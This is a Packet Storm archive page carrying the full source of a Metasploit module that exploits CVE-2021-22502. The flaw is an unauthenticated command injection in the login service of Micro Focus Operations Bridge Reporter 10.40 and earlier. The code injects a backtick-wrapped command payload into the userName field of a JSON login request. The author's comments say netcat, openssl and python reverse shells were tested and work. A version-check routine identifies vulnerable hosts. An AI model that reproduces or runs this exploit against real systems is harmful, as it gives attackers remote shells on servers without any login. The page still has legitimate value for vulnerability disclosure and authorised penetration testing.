exploit the possibilities

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection
Posted Apr 30, 2021
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on login that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below. It is a straight up command injection, with little escaping required, and it works before authentication. This module has been tested on the Linux 10.40 version.

tags | exploit
systems | linux
advisories | CVE-2021-22502
MD5 | de81618a686c4953d94e9346e39ba76f

Micro Focus Operations Bridge Reporter Unauthenticated Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on *login* (yes, you read that right)
that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
It's a straight up command injection, with little escaping required and it works before
authentication.
This module has been tested on the Linux 10.40 version. Older versions might be affected,
check the advisory for details.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2021-22502'],
['ZDI', '21-153'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024, # This should be a safe value, it might take much more
'DisableNops' => true,
# avoid null char and the injection char (`)
'BadChars' => "\x00\x60",
'Compat' =>
{
'PayloadType' => 'cmd',
# all of these (and more) should exist in a standard RHEL / SuSE
# ... which are the only two distros supported by Micro Focus OBR
# (telnet doesn't seem to work though)
#
# all reverse shells were tested and work flawlessly
'RequiredCmd' => 'netcat openssl generic python'
}
},
'Targets' =>
[
[ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-02-09'
)
)

register_options(
[
# normal (no SSL) port is 21411
Opt::RPORT(21412),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
OptString.new('TARGETURI', [true, 'Application path', '/'])
]
)
end

def check
res = send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => rand_text_alpha(10..64)
}, 10)

if res && res.code == 400 && res.body.include?('Unrecognized token')
# should return a stack trace like
# Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
# at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# if there are any 0x22 (") chars in the encoded payload, escape them with a backslash
# we have to do this manually, the encoder is not smart enough to do it, and it will
# fail if we put 0x22 as a bad char above
payload_enc = payload.encoded.gsub('"', '\\"')

# we use 0x60 (`) for injection, but there are lots of other possibilities
data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#{rand_text_alpha(8..20)}\"}"

send_request_raw({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => data
}, 0)

# it's tricky to check the return value of the request here
# - it might hang (no return) and give us a shell
# - it might return 400 or 500 and give us a shell
# - it might return 400 or 500 and give us nothing
# so ignore it altogether and hope for the best
print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!")
end
end
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close